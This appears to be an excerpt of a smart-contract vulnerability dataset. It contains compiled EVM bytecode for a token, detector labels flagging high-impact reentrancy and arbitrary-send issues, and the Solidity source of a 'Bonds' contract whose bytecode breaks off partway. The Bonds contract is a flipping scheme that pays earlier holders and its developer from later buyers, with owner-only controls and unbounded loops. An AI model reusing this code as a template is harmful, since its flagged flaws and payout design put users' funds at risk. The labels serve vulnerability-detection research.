6118d65750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118df57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561198a5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119e05750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119f85750600f60179054906101000a900460ff165b15611a995742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a4857600080fd5b601e42611a559190613199565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611aa430610e12565b9050600f60159054906101000a900460ff16158015611b115750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b295750600f60169054906101000a900460ff165b15611b5157611b3781611de3565b60004790506000811115611b4f57611b4e47611c7a565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bfa5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c0457600090505b611c10848484846121a2565b50505050565b6000838311158290611c5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c559190612ec1565b60405180910390fd5b5060008385611c6d919061327a565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cca60028461215890919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611cf5573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d4660028461215890919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d71573d6000803e3d6000fd5b5050565b6000600654821115611dbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db390612f23565b60405180910390fd5b6000611dc66121cf565b9050611ddb818461215890919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e41577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e6f5781602001602082028036833780820191505090505b5090503081600081518110611ead577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f4f57600080fd5b505afa158015611f63573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f879190612930565b81600181518110611fc1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061202830600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461128c565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161208c95949392919061307e565b600060405180830381600087803b1580156120a657600080fd5b505af11580156120ba573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156120f05760009050612152565b600082846120fe9190613220565b905082848261210d91906131ef565b1461214d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214490612fa3565b60405180910390fd5b809150505b92915050565b600061219a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121fa565b905092915050565b806121b0576121af61225d565b5b6121bb84848461228e565b806121c9576121c8612459565b5b50505050565b60008060006121dc61246b565b915091506121f3818361215890919063ffffffff16565b9250505090565b60008083118290612241576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122389190612ec1565b60405180910390fd5b506000838561225091906131ef565b9050809150509392505050565b600060085414801561227157506000600954145b1561227b5761228c565b600060088190555060006009819055505b565b6000806000806000806122a0876124cd565b9550955095509550955095506122fe86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461253590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061239385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123df816125dd565b6123e9848361269a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124469190613063565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124a1683635c9adc5dea0000060065461215890919063ffffffff16565b8210156124c057600654683635c9adc5dea000009350935050506124c9565b81819350935050505b9091565b60008060008060008060008060006124ea8a6008546009546126d4565b92509250925060006124fa6121cf565b9050600080600061250d8e87878761276a565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061257783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c16565b905092915050565b600080828461258e9190613199565b9050838110156125d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125ca90612f63565b60405180910390fd5b8091505092915050565b60006125e76121cf565b905060006125fe82846120dd90919063ffffffff16565b905061265281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126af8260065461253590919063ffffffff16565b6006819055506126ca8160075461257f90919063ffffffff16565b6007819055505050565b60008060008061270060646126f2888a6120dd90919063ffffffff16565b61215890919063ffffffff16565b9050600061272a606461271c888b6120dd90919063ffffffff16565b61215890919063ffffffff16565b9050600061275382612745858c61253590919063ffffffff16565b61253590919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061278385896120dd90919063ffffffff16565b9050600061279a86896120dd90919063ffffffff16565b905060006127b187896120dd90919063ffffffff16565b905060006127da826127cc858761253590919063ffffffff16565b61253590919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061280661280184613118565b6130f3565b9050808382526020820190508285602086028201111561282557600080fd5b60005b85811015612855578161283b888261285f565b845260208401935060208301925050600181019050612828565b5050509392505050565b60008135905061286e81613756565b92915050565b60008151905061288381613756565b92915050565b600082601f83011261289a57600080fd5b81356128aa8482602086016127f3565b91505092915050565b6000813590506128c28161376d565b92915050565b6000815190506128d78161376d565b92915050565b6000813590506128ec81613784565b92915050565b60008151905061290181613784565b92915050565b60006020828403121561291957600080fd5b60006129278482850161285f565b91505092915050565b60006020828403121561294257600080fd5b600061295084828501612874565b91505092915050565b6000806040838503121561296c57600080fd5b600061297a8582860161285f565b925050602061298b8582860161285f565b9150509250929050565b6000806000606084860312156129aa57600080fd5b60006129b88682870161285f565b93505060206129c98682870161285f565b92505060406129da868287016128dd565b9150509250925092565b600080604083850312156129f757600080fd5b6000612a058582860161285f565b9250506020612a16858286016128dd565b9150509250929050565b600060208284031215612a3257600080fd5b600082013567ffffffffffffffff811115612a4c57600080fd5b612a5884828501612889565b91505092915050565b600060208284031215612a7357600080fd5b6000612a81848285016128b3565b91505092915050565b600060208284031215612a9c57600080fd5b6000612aaa848285016128c8565b91505092915050565b600060208284031215612ac557600080fd5b6000612ad3848285016128dd565b91505092915050565b600080600060608486031215612af157600080fd5b6000612aff868287016128f2565b9350506020612b10868287016128f2565b9250506040612b21868287016128f2565b9150509250925092565b6000612b378383612b43565b60208301905092915050565b612b4c816132ae565b82525050565b612b5b816132ae565b82525050565b6000612b6c82613154565b612b768185613177565b9350612b8183613144565b8060005b83811015612bb2578151612b998882612b2b565b9750612ba48361316a565b925050600181019050612b85565b5085935050505092915050565b612bc8816132c0565b82525050565b612bd781613303565b82525050565b6000612be88261315f565b612bf28185613188565b9350612c02818560208601613315565b612c0b8161344f565b840191505092915050565b6000612c23602383613188565b9150612c2e82613460565b604082019050919050565b6000612c46601a83613188565b9150612c51826134af565b602082019050919050565b6000612c69602a83613188565b9150612c74826134d8565b604082019050919050565b6000612c8c602283613188565b9150612c9782613527565b604082019050919050565b6000612caf601b83613188565b9150612cba82613576565b602082019050919050565b6000612cd2601d83613188565b9150612cdd8261359f565b602082019050919050565b6000612cf5602183613188565b9150612d00826135c8565b604082019050919050565b6000612d18602083613188565b9150612d2382613617565b602082019050919050565b6000612d3b602983613188565b9150612d4682613640565b604082019050919050565b6000612d5e602583613188565b9150612d698261368f565b604082019050919050565b6000612d81602483613188565b9150612d8c826136de565b604082019050919050565b6000612da4601183613188565b9150612daf8261372d565b602082019050919050565b612dc3816132ec565b82525050565b612dd2816132f6565b82525050565b6000602082019050612ded6000830184612b52565b92915050565b6000604082019050612e086000830185612b52565b612e156020830184612b52565b9392505050565b6000604082019050612e316000830185612b52565b612e3e6020830184612dba565b9392505050565b600060c082019050612e5a6000830189612b52565b612e676020830188612dba565b612e746040830187612bce565b612e816060830186612bce565b612e8e6080830185612b52565b612e9b60a0830184612dba565b979650505050505050565b6000602082019050612ebb6000830184612bbf565b92915050565b60006020820190508181036000830152612edb8184612bdd565b905092915050565b60006020820190508181036000830152612efc81612c16565b9050919050565b60006020820190508181036000830152612f1c81612c39565b9050919050565b60006020820190508181036000830152612f3c81612c5c565b9050919050565b60006020820190508181036000830152612f5c81612c7f565b9050919050565b60006020820190508181036000830152612f7c81612ca2565b9050919050565b60006020820190508181036000830152612f9c81612cc5565b9050919050565b60006020820190508181036000830152612fbc81612ce8565b9050919050565b60006020820190508181036000830152612fdc81612d0b565b9050919050565b60006020820190508181036000830152612ffc81612d2e565b9050919050565b6000602082019050818103600083015261301c81612d51565b9050919050565b6000602082019050818103600083015261303c81612d74565b9050919050565b6000602082019050818103600083015261305c81612d97565b9050919050565b60006020820190506130786000830184612dba565b92915050565b600060a0820190506130936000830188612dba565b6130a06020830187612bce565b81810360408301526130b28186612b61565b90506130c16060830185612b52565b6130ce6080830184612dba565b9695505050505050565b60006020820190506130ed6000830184612dc9565b92915050565b60006130fd61310e565b90506131098282613348565b919050565b6000604051905090565b600067ffffffffffffffff82111561313357613132613420565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131a4826132ec565b91506131af836132ec565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131e4576131e36133c2565b5b828201905092915050565b60006131fa826132ec565b9150613205836132ec565b925082613215576132146133f1565b5b828204905092915050565b600061322b826132ec565b9150613236836132ec565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561326f5761326e6133c2565b5b828202905092915050565b6000613285826132ec565b9150613290836132ec565b9250828210156132a3576132a26133c2565b5b828203905092915050565b60006132b9826132cc565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061330e826132ec565b9050919050565b60005b83811015613333578082015181840152602081019050613318565b83811115613342576000848401525b50505050565b6133518261344f565b810181811067ffffffffffffffff821117156133705761336f613420565b5b80604052505050565b6000613384826132ec565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133b7576133b66133c2565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61375f816132ae565b811461376a57600080fd5b50565b613776816132c0565b811461378157600080fd5b50565b61378d816132ec565b811461379857600080fd5b5056fe426162794f62616d61207c20742e6d652f626162796f62616d616f6666696369616c45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220282c9ad1d4ee311c7026a231de2e5f91336aaaaab11a7e56dff7394186af09b564736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,710 |
0x330ac216a5a8ccd493f3b9e33a524be3c7124217
|
pragma solidity ^0.4.24;
contract Bonds {
/*=================================
= MODIFIERS =
=================================*/
modifier onlyOwner(){
require(msg.sender == dev);
_;
}
/*==============================
= EVENTS =
==============================*/
event onBondPurchase(
address customerAddress,
uint256 incomingEthereum,
uint256 bond,
uint256 newPrice
);
event onWithdraw(
address customerAddress,
uint256 ethereumWithdrawn
);
// ERC20
event Transfer(
address from,
address to,
uint256 bond
);
/*=====================================
= CONFIGURABLES =
=====================================*/
string public name = "NASDAQBONDS";
string public symbol = "BOND";
uint8 constant public nsDivRate = 10;
uint8 constant public devDivRate = 5;
uint8 constant public ownerDivRate = 50;
uint8 constant public distDivRate = 40;
uint8 constant public referralRate = 5;
uint8 constant public decimals = 18;
uint public totalBondValue = 9e18;
/*================================
= DATASETS =
================================*/
mapping(uint => address) internal bondOwner;
mapping(uint => uint) public bondPrice;
mapping(uint => uint) internal bondPreviousPrice;
mapping(address => uint) internal ownerAccounts;
mapping(uint => uint) internal totalBondDivs;
mapping(uint => string) internal bondName;
uint bondPriceIncrement = 110; //10% Price Increases
uint totalDivsProduced = 0;
uint public maxBonds = 200;
uint public initialPrice = 1e17; //0.1 ETH
uint public nextAvailableBond;
bool allowReferral = false;
bool allowAutoNewBond = false;
uint public bondFund = 0;
address dev;
address fundsDividendAddr;
address promoter;
/*=======================================
= PUBLIC FUNCTIONS =
=======================================*/
/*
* -- APPLICATION ENTRY POINTS --
*/
constructor()
public
{
dev = msg.sender;
fundsDividendAddr = 0xd2e32AFc2949d37A221FBAe53DadF48270926F26;
promoter = 0xC558895aE123BB02b3c33164FdeC34E9Fb66B660;
nextAvailableBond = 13;
bondOwner[1] = promoter;
bondPrice[1] = 2e18;//initialPrice;
bondPreviousPrice[1] = 0;
bondOwner[2] = promoter;
bondPrice[2] = 15e17;//initialPrice;
bondPreviousPrice[2] = 0;
bondOwner[3] = promoter;
bondPrice[3] = 10e17;//initialPrice;
bondPreviousPrice[3] = 0;
bondOwner[4] = promoter;
bondPrice[4] = 9e17;//initialPrice;
bondPreviousPrice[4] = 0;
bondOwner[5] = promoter;
bondPrice[5] = 8e17;//initialPrice;
bondPreviousPrice[5] = 0;
bondOwner[6] = promoter;
bondPrice[6] = 7e17;//initialPrice;
bondPreviousPrice[6] = 0;
bondOwner[7] = dev;
bondPrice[7] = 6e17;//initialPrice;
bondPreviousPrice[7] = 0;
bondOwner[8] = dev;
bondPrice[8] = 5e17;//initialPrice;
bondPreviousPrice[8] = 0;
bondOwner[9] = dev;
bondPrice[9] = 4e17;//initialPrice;
bondPreviousPrice[9] = 0;
bondOwner[10] = dev;
bondPrice[10] = 3e17;//initialPrice;
bondPreviousPrice[10] = 0;
bondOwner[11] = dev;
bondPrice[11] = 2e17;//initialPrice;
bondPreviousPrice[11] = 0;
bondOwner[12] = dev;
bondPrice[12] = 1e17;//initialPrice;
bondPreviousPrice[12] = 0;
}
function addTotalBondValue(uint _new, uint _old)
internal
{
//uint newPrice = SafeMath.div(SafeMath.mul(_new,bondPriceIncrement),100);
totalBondValue = SafeMath.add(totalBondValue, SafeMath.sub(_new,_old));
}
function buy(uint _bond, address _referrer)
public
payable
{
require(_bond <= nextAvailableBond);
require(msg.value >= bondPrice[_bond]);
require(msg.sender != bondOwner[_bond]);
uint _newPrice = SafeMath.div(SafeMath.mul(msg.value,bondPriceIncrement),100);
//Determine the total dividends
uint _baseDividends = msg.value - bondPreviousPrice[_bond];
totalDivsProduced = SafeMath.add(totalDivsProduced, _baseDividends);
uint _nsDividends = SafeMath.div(SafeMath.mul(_baseDividends, nsDivRate),100);
uint _ownerDividends = SafeMath.div(SafeMath.mul(_baseDividends,ownerDivRate),100);
totalBondDivs[_bond] = SafeMath.add(totalBondDivs[_bond],_ownerDividends);
_ownerDividends = SafeMath.add(_ownerDividends,bondPreviousPrice[_bond]);
uint _distDividends = SafeMath.div(SafeMath.mul(_baseDividends,distDivRate),100);
// If referrer is left blank,send to FUND address
if (allowReferral && _referrer != msg.sender) {
uint _referralDividends = SafeMath.div(SafeMath.mul(_baseDividends, referralRate), 100);
_distDividends = SafeMath.sub(_distDividends, _referralDividends);
if (_referrer == 0x0) {
fundsDividendAddr.transfer(_referralDividends);
}
else {
ownerAccounts[_referrer] = SafeMath.add(ownerAccounts[_referrer], _referralDividends);
}
}
//distribute dividends to accounts
address _previousOwner = bondOwner[_bond];
address _newOwner = msg.sender;
ownerAccounts[_previousOwner] = SafeMath.add(ownerAccounts[_previousOwner],_ownerDividends);
fundsDividendAddr.transfer(_nsDividends);
bondOwner[_bond] = _newOwner;
distributeYield(_distDividends);
distributeBondFund();
//Increment the bond Price
bondPreviousPrice[_bond] = msg.value;
bondPrice[_bond] = _newPrice;
addTotalBondValue(_newPrice, bondPreviousPrice[_bond]);
emit onBondPurchase(msg.sender, msg.value, _bond, SafeMath.div(SafeMath.mul(msg.value,bondPriceIncrement),100));
}
function distributeYield(uint _distDividends) internal
{
uint counter = 1;
while (counter < nextAvailableBond) {
uint _distAmountLocal = SafeMath.div(SafeMath.mul(_distDividends, bondPrice[counter]),totalBondValue);
ownerAccounts[bondOwner[counter]] = SafeMath.add(ownerAccounts[bondOwner[counter]],_distAmountLocal);
totalBondDivs[counter] = SafeMath.add(totalBondDivs[counter],_distAmountLocal);
counter = counter + 1;
}
}
function distributeBondFund() internal
{
if(bondFund > 0){
uint counter = 1;
while (counter < nextAvailableBond) {
uint _distAmountLocal = SafeMath.div(SafeMath.mul(bondFund, bondPrice[counter]),totalBondValue);
ownerAccounts[bondOwner[counter]] = SafeMath.add(ownerAccounts[bondOwner[counter]],_distAmountLocal);
totalBondDivs[counter] = SafeMath.add(totalBondDivs[counter],_distAmountLocal);
counter = counter + 1;
}
bondFund = 0;
}
}
function extDistributeBondFund() public
onlyOwner()
{
if(bondFund > 0){
uint counter = 1;
while (counter < nextAvailableBond) {
uint _distAmountLocal = SafeMath.div(SafeMath.mul(bondFund, bondPrice[counter]),totalBondValue);
ownerAccounts[bondOwner[counter]] = SafeMath.add(ownerAccounts[bondOwner[counter]],_distAmountLocal);
totalBondDivs[counter] = SafeMath.add(totalBondDivs[counter],_distAmountLocal);
counter = counter + 1;
}
bondFund = 0;
}
}
function withdraw()
public
{
address _customerAddress = msg.sender;
require(ownerAccounts[_customerAddress] > 0);
uint _dividends = ownerAccounts[_customerAddress];
ownerAccounts[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
// fire event
emit onWithdraw(_customerAddress, _dividends);
}
function withdrawPart(uint _amount)
public
onlyOwner()
{
address _customerAddress = msg.sender;
require(ownerAccounts[_customerAddress] > 0);
require(_amount <= ownerAccounts[_customerAddress]);
ownerAccounts[_customerAddress] = SafeMath.sub(ownerAccounts[_customerAddress],_amount);
_customerAddress.transfer(_amount);
// fire event
emit onWithdraw(_customerAddress, _amount);
}
// Fallback function: add funds to the addional distibution amount. This is what will be contributed from the exchange
// and other contracts
function()
payable
public
{
uint devAmount = SafeMath.div(SafeMath.mul(devDivRate,msg.value),100);
uint bondAmount = msg.value - devAmount;
bondFund = SafeMath.add(bondFund, bondAmount);
ownerAccounts[dev] = SafeMath.add(ownerAccounts[dev], devAmount);
}
/**
* Transfer bond to another address
*/
function transfer(address _to, uint _bond )
public
{
require(bondOwner[_bond] == msg.sender);
bondOwner[_bond] = _to;
emit Transfer(msg.sender, _to, _bond);
}
/*---------- ADMINISTRATOR ONLY FUNCTIONS ----------*/
/**
/**
* If we want to rebrand, we can.
*/
function setName(string _name)
onlyOwner()
public
{
name = _name;
}
/**
* If we want to rebrand, we can.
*/
function setSymbol(string _symbol)
onlyOwner()
public
{
symbol = _symbol;
}
function setInitialPrice(uint _price)
onlyOwner()
public
{
initialPrice = _price;
}
function setMaxbonds(uint _bond)
onlyOwner()
public
{
maxBonds = _bond;
}
function setBondPrice(uint _bond, uint _price) //Allow the changing of a bond price owner if the dev owns it
onlyOwner()
public
{
require(bondOwner[_bond] == dev);
bondPrice[_bond] = _price;
}
function addNewbond(uint _price)
onlyOwner()
public
{
require(nextAvailableBond < maxBonds);
bondPrice[nextAvailableBond] = _price;
bondOwner[nextAvailableBond] = dev;
totalBondDivs[nextAvailableBond] = 0;
bondPreviousPrice[nextAvailableBond] = 0;
nextAvailableBond = nextAvailableBond + 1;
addTotalBondValue(_price, 0);
}
function setAllowReferral(bool _allowReferral)
onlyOwner()
public
{
allowReferral = _allowReferral;
}
function setAutoNewbond(bool _autoNewBond)
onlyOwner()
public
{
allowAutoNewBond = _autoNewBond;
}
/*---------- HELPERS AND CALCULATORS ----------*/
/**
* Method to view the current Ethereum stored in the contract
* Example: totalEthereumBalance()
*/
function getMyBalance()
public
view
returns(uint)
{
return ownerAccounts[msg.sender];
}
function getOwnerBalance(address _bondOwner)
public
view
returns(uint)
{
require(msg.sender == dev);
return ownerAccounts[_bondOwner];
}
function getBondPrice(uint _bond)
public
view
returns(uint)
{
require(_bond <= nextAvailableBond);
return bondPrice[_bond];
}
function getBondOwner(uint _bond)
public
view
returns(address)
{
require(_bond <= nextAvailableBond);
return bondOwner[_bond];
}
function gettotalBondDivs(uint _bond)
public
view
returns(uint)
{
require(_bond <= nextAvailableBond);
return totalBondDivs[_bond];
}
function getTotalDivsProduced()
public
view
returns(uint)
{
return totalDivsProduced;
}
function getBondDivShare(uint _bond)
public
view
returns(uint)
{
require(_bond <= nextAvailableBond);
return SafeMath.div(SafeMath.mul(bondPrice[_bond],10000),totalBondValue);
}
function getTotalBondValue()
public
view
returns(uint)
{
return totalBondValue;
}
function totalEthereumBalance()
public
view
returns(uint)
{
return address (this).balance;
}
function getNextAvailableBond()
public
view
returns(uint)
{
return nextAvailableBond;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
|
0x6080604052600436106101cd576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146102d55780630bcb8a2314610365578063172c44ec146103a65780631cb8d206146103e75780631d0806ae14610418578063313ce56714610443578063346c1aac14610474578063394a86981461049f5780633ab74ad2146104ca5780633ccfd60b146104f5578063487621cc1461050c5780634b21aaae146105395780634c7389091461057a5780636b2f4632146105a5578063743434db146105d0578063763f337e146105fb57806376fc53c01461062a57806377b68dae146106415780637d53409a146106725780637daf06fd1461069f5780637deb6025146106cc5780637fcf440a1461070c57806386b715bd1461076357806386cf045f1461079257806395d89b41146107bd5780639f4ba0ee1461084d578063a053ce1f1461087a578063a1aad09d146108ab578063a9059cbb146108e2578063ae8824121461092f578063b84c82461461095a578063baf3a4d4146109c3578063bb305ef2146109f4578063c47f002714610a61578063ca76ecce14610aca578063e3ee6e4714610b0b578063fd01d4a114610b36575b6000806101e86101e1600560ff1634610b67565b6064610ba2565b915081340390506101fb600f5482610bbd565b600f8190555061026c60066000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610bbd565b60066000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050005b3480156102e157600080fd5b506102ea610bdb565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561032a57808201518184015260208101905061030f565b50505050905090810190601f1680156103575780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561037157600080fd5b5061039060048036038101908080359060200190929190505050610c79565b6040518082815260200191505060405180910390f35b3480156103b257600080fd5b506103d160048036038101908080359060200190929190505050610cbd565b6040518082815260200191505060405180910390f35b3480156103f357600080fd5b506103fc610cd5565b604051808260ff1660ff16815260200191505060405180910390f35b34801561042457600080fd5b5061042d610cda565b6040518082815260200191505060405180910390f35b34801561044f57600080fd5b50610458610ce0565b604051808260ff1660ff16815260200191505060405180910390f35b34801561048057600080fd5b50610489610ce5565b6040518082815260200191505060405180910390f35b3480156104ab57600080fd5b506104b4610cef565b6040518082815260200191505060405180910390f35b3480156104d657600080fd5b506104df610cf9565b6040518082815260200191505060405180910390f35b34801561050157600080fd5b5061050a610cff565b005b34801561051857600080fd5b5061053760048036038101908080359060200190929190505050610e90565b005b34801561054557600080fd5b5061056460048036038101908080359060200190929190505050610fde565b6040518082815260200191505060405180910390f35b34801561058657600080fd5b5061058f61100c565b6040518082815260200191505060405180910390f35b3480156105b157600080fd5b506105ba611053565b6040518082815260200191505060405180910390f35b3480156105dc57600080fd5b506105e5611072565b6040518082815260200191505060405180910390f35b34801561060757600080fd5b50610628600480360381019080803515159060200190929190505050611078565b005b34801561063657600080fd5b5061063f6110f1565b005b34801561064d57600080fd5b506106566112d4565b604051808260ff1660ff16815260200191505060405180910390f35b34801561067e57600080fd5b5061069d600480360381019080803590602001909291905050506112d9565b005b3480156106ab57600080fd5b506106ca6004803603810190808035906020019092919050505061133f565b005b61070a60048036038101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061157e565b005b34801561071857600080fd5b5061074d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b16565b6040518082815260200191505060405180910390f35b34801561076f57600080fd5b50610790600480360381019080803515159060200190929190505050611bbb565b005b34801561079e57600080fd5b506107a7611c34565b6040518082815260200191505060405180910390f35b3480156107c957600080fd5b506107d2611c3a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156108125780820151818401526020810190506107f7565b50505050905090810190601f16801561083f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561085957600080fd5b5061087860048036038101908080359060200190929190505050611cd8565b005b34801561088657600080fd5b5061088f611d3e565b604051808260ff1660ff16815260200191505060405180910390f35b3480156108b757600080fd5b506108e06004803603810190808035906020019092919080359060200190929190505050611d43565b005b3480156108ee57600080fd5b5061092d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611e4a565b005b34801561093b57600080fd5b50610944611fac565b6040518082815260200191505060405180910390f35b34801561096657600080fd5b506109c1600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611fb6565b005b3480156109cf57600080fd5b506109d861202c565b604051808260ff1660ff16815260200191505060405180910390f35b348015610a0057600080fd5b50610a1f60048036038101908080359060200190929190505050612031565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610a6d57600080fd5b50610ac8600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050